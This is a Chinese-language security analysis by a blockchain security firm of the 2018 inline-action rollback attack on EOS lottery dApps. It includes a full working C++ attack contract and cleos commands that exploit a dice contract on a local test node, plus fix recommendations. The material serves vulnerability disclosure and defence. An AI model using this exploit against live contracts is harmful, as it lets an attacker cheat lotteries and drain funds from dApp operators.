• 150-2922-9543
  • support@noneage.com

EOS dApp 漏洞盘点- LuckyGo inline action 交易回滚攻击


Written by WeaponX@零时科技

本文所有过程均在本地测试节点完成

文章用到的所有代码均在 https://github.com/NoneAge/EOS_dApp_Security_Incident_Analysis

0x00 背景

2018年12月,EOS上多个抽奖dApp被黑客攻击。据悉,黑客是采用了inline action回滚攻击的技术实施攻击,并获利数千EOS。

0x01 技术分析

有一些EOS 抽奖类dApp采用了inline action开进行开奖,导致被黑客攻击。因此,我们首先来看一下inline actiondefer action分别是什么:

  • inline action
    内联交易:两个不同的action在一个transaction中,在这个transaction中,只要有一个action异常,则这个transaction会失败,所有的action都会回滚

  • defer action
    延迟交易:两个不同的action在两个transaction中,每个action的状态互相不影响。

根据上述的知识,我们分析黑客攻击流程如下:首先,部署自己的攻击合约;其次,在合约中进行下注操作;随后,使用inline action查询自己的余额判断是否中奖,若未中奖,则抛出异常。此时,由于下注action和攻击的action在同一transaction中,那么,攻击action异常会导致下注的失败。那么黑客可以实现不中奖就不用付出EOS。

下面,我们给出攻击的测试合约

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#include <utility>
#include <vector>
#include <string>
#include <eosiolib/eosio.hpp>
#include <eosiolib/time.hpp>
#include <eosiolib/asset.hpp>
#include <eosiolib/contract.hpp>
#include <eosiolib/types.hpp>
#include <eosiolib/transaction.hpp>
#include <eosiolib/crypto.h>
#include <boost/algorithm/string.hpp>
#include "eosio.token.hpp"

using eosio::asset;
using eosio::permission_level;
using eosio::action;
using eosio::print;
using eosio::name;
using eosio::unpack_action_data;
using eosio::symbol_type;
using eosio::transaction;
using eosio::time_point_sec;


class attack : public eosio::contract {
public:
attack(account_name self):eosio::contract(self)
{}

//@abi action
void rollback(asset in)
{
require_auth(_self);
asset pool = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name());
eosio_assert(in.amount > pool.amount, "rollback");
}

//@abi action
void hi(asset bet)
{
require_auth(_self);
asset pool = eosio::token(N(eosio.token)).get_balance(_self, symbol_type(S(4, EOS)).name());
std::string memo = "dice-noneage-66-user";
action(
permission_level(_self, N(active)),
N(eosio.token), N(transfer),
std::make_tuple(_self, N(eosbocai2222), bet, memo)
).send();

action(
permission_level{_self, N(active)},
_self, N(rollback),
std::make_tuple(pool)
).send();
}
};

#define EOSIO_ABI_EX( TYPE, MEMBERS ) \
extern "C" { \
void apply( uint64_t receiver, uint64_t code, uint64_t action ) { \
auto self = receiver; \
if( code == self || code == N(eosio.token)) { \
if( action == N(transfer)){ \
eosio_assert( code == N(eosio.token), "Must transfer EOS"); \
} \
TYPE thiscontract( self ); \
switch( action ) { \
EOSIO_API( TYPE, MEMBERS ) \
} \
/* does not allow destructor of thiscontract to run: eosio_exit(0); */ \
} \
} \
}

EOSIO_ABI_EX( attack,
(hi)(rollback)
)

由于开源的抽奖dApp采用inline action的较少,因此我们将EOSDice合约开奖的defer action改为了inline action来做测试。

测试流程:

  1. 创建相关账户并设置权限
1
2
3
# 创建攻击者相关账户权限
cleos create account eosio attacker EOS6xKEsz5rXvss1otnB5kD1Fv9wRYLmJjQuBefRYaDY7jcfxtpVk
cleos set account permission attacker active '{"threshold": 1,"keys": [{"key": "EOS6kSHM2DbVHBAZzPk7UjpeyesAGsQvoUKyPeMxYpv1ZieBgPQNi","weight": 1}],"accounts":[{"permission":{"actor":"attacker","permission":"eosio.code"},"weight":1}]}' owner -p attacker
  1. 向相关账户发送代币
1
2
cleos push action eosio.token issue '["attacker", "10000.0000 EOS", "memo"]' -p eosio
cleos push action eosio.token issue '["eosbocai2222", "10000.0000 EOS", "memo"]' -p eosio
  1. 编译并部署相关合约
1
2
3
4
5
6
7
8
9
10
11
12
13
# 编译攻击合约
eosiocpp -o attack.wast attack.cpp
eosiocpp -g attack.abi attack.cpp
# 部署攻击合约
cleos set contract attacker ~/attack -p attacker@owner

# 编译EOSDICE合约
eosiocpp -o eosdice.wast eosbocai2222.cpp
eosiocpp -g eosdice.abi eosbocai2222.cpp

# 部署EOSDICE合约
cleos set code eosbocai2222 eosdice.wasm -p eosbocai2222@owner
cleos set abi eosbocai2222 eosdice.abi -p eosbocai2222@owner
  1. 初始化测试合约
1
cleos push action eosbocai2222 init '[""]' -p eosbocai2222
  1. 使用合约攻击测试dApp
1
cleos push action attacker hi '["1.0000 EOS"]' -p attacker@owner

上图是开奖成功的正常流程

上图是开奖失败,合约攻击合约抛出异常,转账事务发生回滚。

0x02 推荐修复

在抽奖dApp使用defer action进行开奖可以避免本文分析的inline action交易回滚攻击,但是链上开奖机制已经被证明已经不再安全。因此,零时科技建议使用链下开奖逻辑进行开奖。